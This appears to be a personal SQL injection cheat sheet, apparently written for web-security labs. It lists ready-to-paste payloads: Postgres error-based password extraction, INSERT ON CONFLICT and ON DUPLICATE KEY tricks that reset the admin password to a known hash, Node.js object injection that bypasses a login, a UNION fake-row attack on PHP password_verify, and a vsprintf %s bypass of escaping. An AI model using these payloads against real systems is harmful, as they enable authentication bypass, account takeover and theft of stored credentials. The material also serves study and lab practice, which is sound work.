Oracle DB

Using From clause is mandatory, you can use From dual database.

• Useful payloads

import requests
import string

chars = string.ascii_letters + string.digits
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://portswigger.net/", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "cross-site", "Sec-Fetch-User": "?1", "Dnt": "1", "Sec-Gpc": "1", "Te": "trailers", "Connection": "close"}

Postgres visible error

We can use this error to get data from db directly.

AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--;

Insert statement

Make sure to play with commenting as it errors out sometimes.

username=admin&password=1337') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"

# Mysql (Password: bcrypt("admin"))
admin\",\"$2a$12$BHVtAvXDP1xgjkGEoeqRTu2y4mycnpd6If0j/WbP0PCjwW4CKdq6G\") ON DUPLICATE KEY UPDATE password =\"$2a$12$s7j4XlEOiqDjcqkEZqeU8e9je5K9ZhXQQh5YtaIpL8ZgfGHR.GqGe\"-- 

Nodejs

Object injection

...
app.post("/auth", function (request, response) {
 var username = request.body.username;
 var password = request.body.password;
 if (username && password) {
  connection.query(
   "SELECT * FROM accounts WHERE username = ? AND password = ?",
   [username, password],
   function (error, results, fields) {
    ...
   }
  );
 }
});

This could be exploited by:

username=admin&password[password]=1

Password_verify() [PHP]

This can be used to inject a fake row containing results with a password hash whose password is known to the attacker.

SELECT * FROM table WHERE Username = 'MEOW' UNION SELECT 'root' AS username, '$6$ErsDojKr$7wXeObXJSXeSRzCWFi0ANfqTPndUGlEp0y1NkhzVl5lWaLibhkEucBklU6j43/JeUPEtLlpRFsFcSOqtEfqRe0' AS pwhash'

vsprintf [PHP]

Taking the following code as an example:

    public function getLoginUserData($username, $password){
        $username = strtr($username, ['"' => '\\"', '\\' => '\\\\']);
        $query = vsprintf("SELECT * FROM users WHERE `user_username` = \"$username\" AND `user_password` = :password", [$password]);
        $sql = $this->db->pdo->prepare($query);
        $sql->bindValue(':password', $password);
        //var_dump($sql);
        $sql->execute();
        $result = $sql->fetch(PDO::FETCH_OBJ);
        return $result;
    }

strtr() is doing a very good job here for preventing the sql injection by escaping double quotes and backslashes, and the vsprintf() in password could be exploited using the %1$\"<INJECTION_POINT> trick, but however the $sql->bindValue(':password', $password); is preventing it.

A trick to bypass this is to use %sformat string as a placeholder to pass the payload to username through password:

username=%s&password=Administrator" OR 1=1-- -
